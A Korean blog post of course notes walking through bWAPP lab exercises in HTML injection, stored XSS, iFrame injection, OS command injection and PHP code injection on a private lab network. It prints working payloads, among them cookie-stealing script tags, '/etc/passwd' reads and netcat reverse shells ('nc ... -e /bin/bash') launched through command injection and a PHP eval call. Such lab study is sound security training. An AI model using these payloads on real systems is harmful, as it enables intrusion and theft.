yumyum
[bWAPP] HTML INJECTION,BLOG/iFrame INJECTION/OS COMMAND INJECTION 본문
[bWAPP] HTML INJECTION,BLOG/iFrame INJECTION/OS COMMAND INJECTION
yumyum0603 2023. 11. 8. 16:57<h1>yulim</h1>
<script>alert("test")</script> => alert로 test문자 띄우기(로그인 firstname)
<script>alert(document.cookie)</script>
이미지 넣기

bee-box에서 이미지가 있는 경로 확인
bWAPP에서 Firstname : bee Lastname : bug 로그인 -> HTML injection GET으로 Hack
-> <img src=http://192.168.50.26/bWAPP/images/facebook.png>
# => 이미지 있는 경로를 로그인 firstname에 넣기

넣어진 모습
=> 외부 링크 사진 가져오고 싶다면
<img src=링크>로 로그인!
** 나는 파이어폭스에서는 가져와지지 않아서,
Burp Suite -> Proxy -> Open browser 로 사이트 열어서 bWAPP 접속해서 진행시켜주었다

외부 링크 사진 넣어지는 모습
bWAPP security levle을 medium으로 바꾸는 순간 저 명령어들이 안먹힌다,
그래서 인코딩 디코딩을 이용하여 우회해야한다
gedit htmli_get.php에서 bWAPP파일 볼 수 있음
gedit functions_external.php
URL인코딩
< > => "<",">"

[HTML인코딩, BASE64인코딩]

<script>alert("test")</script>
=> %3Cscript%3Ealert(%22test%22)%3C/script%3E
level high 일 때는 필터링 우회 써야함
[필터링 우회]
php에서 제공해주는 함수 사용하여 필터링 할 수 있다
bee-box
gedit html_get.php에서

xss_check_3 함수사용하는것 확인
gedit functions_external.php 에서

xxs_check3에 해당하는 함수 확인 할 수 있다
[HTML injection POST_low]
post 방식은 get방식과 다르게 정보가 url에 뜨지 않는다
[HTML injection POST_medium]
[HTML Injection - Stored (Blog)_low]
f12로 방식을 보면 POST방식임을 알 수 있다.

[HTML Injection - Stored (Blog)_medium]

level을 medium으로 바꾸는 순간 문자열로 바뀌는것을 확인
[iFrame Injection]


robot.txt => 구글 크롤링 검색허용 여부
http://192.168.50.26/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250
=> 원래 주소
ParamUrl
ParamWidth
ParamHeight
=>변수 넣는 공간 3개 (공격 넣을 수 있는 포인트)
<iframe src="robots.txt" width="250" height="250" frameborder="0"></iframe>
=> bWAPP 페이지를 html구문으로 뺀것
http://192.168.50.26/bWAPP/iframei.php?ParamUrl=robots.txt
ParamWidth=250&ParamHeight=250
=> 반으로 잘라서 아래 구문(iframe) 삽입
" width="250" height="250" frameborder="0"></iframe><iframe src="https://192.168.50.26/bWAPP/htmli_get.php"
width="250"height="250"frameborder="0"></iframe>
## 구문 만들기
http://192.168.50.26/bWAPP/iframei.php?ParamUrl=robots.txt"width="250" height="250" frameborder="0"></iframe><iframe src="http://192.168.50.26/bWAPP/bad.html"&ParamWidth=250&ParamHeight=250
http://192.168.50.26/bWAPP/iframei.php?ParamUrl=robots.txt"width="250" height="250" frameborder="0"></iframe><iframe src="http://192.168.50.26/bWAPP/attack.html"&ParamWidth=250&ParamHeight=250
##Quiz) 방어 구문, 함수 찾아보기
[OS Command Injection]
$a = www.dfdf.com
# nslookup $a
=> 웹페이지의 입력칸이 os에서 명령어 쓰는 곳임을 유추
# nslookup ㅇㄹㅇㄹ | ls => 현재 폴더 보기
# nslookup ㅇㄹㅇㄹ | pwd => 현재 경로 보기
# nslookup ㅇㄹㅇㄹ | ls ../../ => 상위폴더 보기
## 넷켓
칼리에서 포트열고
OS command injection -> 칼리에서 열어놓은 포트로 데이터 전송
[칼리]
nc -l -p 666 : 666번 포트 열기
[비박스]
포트 열린채로
|nc 192.168.50.43 666 -e /bin/bash
입력
칼리에서 ls 치면 bWAP폴더 내부 확인 가능

[OS Command Injection - Blind]
OS Command Injection 과 똑같이 작업할 수 있다.
[PHP Code Injection]
cd /var/www/bWAPP 경로로 이동 -> gedit phpi.php로 확인
vim attack.php로 attack.php 파일을 생성

=> eval 함수 짜기
<eval함수>
http://192.168.50.26/bWAPP/phpi.php?message=test123,system('ls')
http://192.168.50.26/bWAPP/phpi.php?message=test123,system('whoami')
http://192.168.50.26/bWAPP/phpi.php?message=test123,system('pwd')
http://192.168.50.26/bWAPP/phpi.php?message=test123,system('cat /etc/passwd')
http://192.168.50.26/bWAPP/phpi.php?message=asdfsadff; system(" nc 192.168.50.43 666 -e /bin/bash")
'ICT기반 클라우드 네트워크 해킹 침해대응전문가 > 모의해킹' 카테고리의 다른 글
[bWAPP] ssl injection, SQL injection (1) | 2023.11.09 |
---|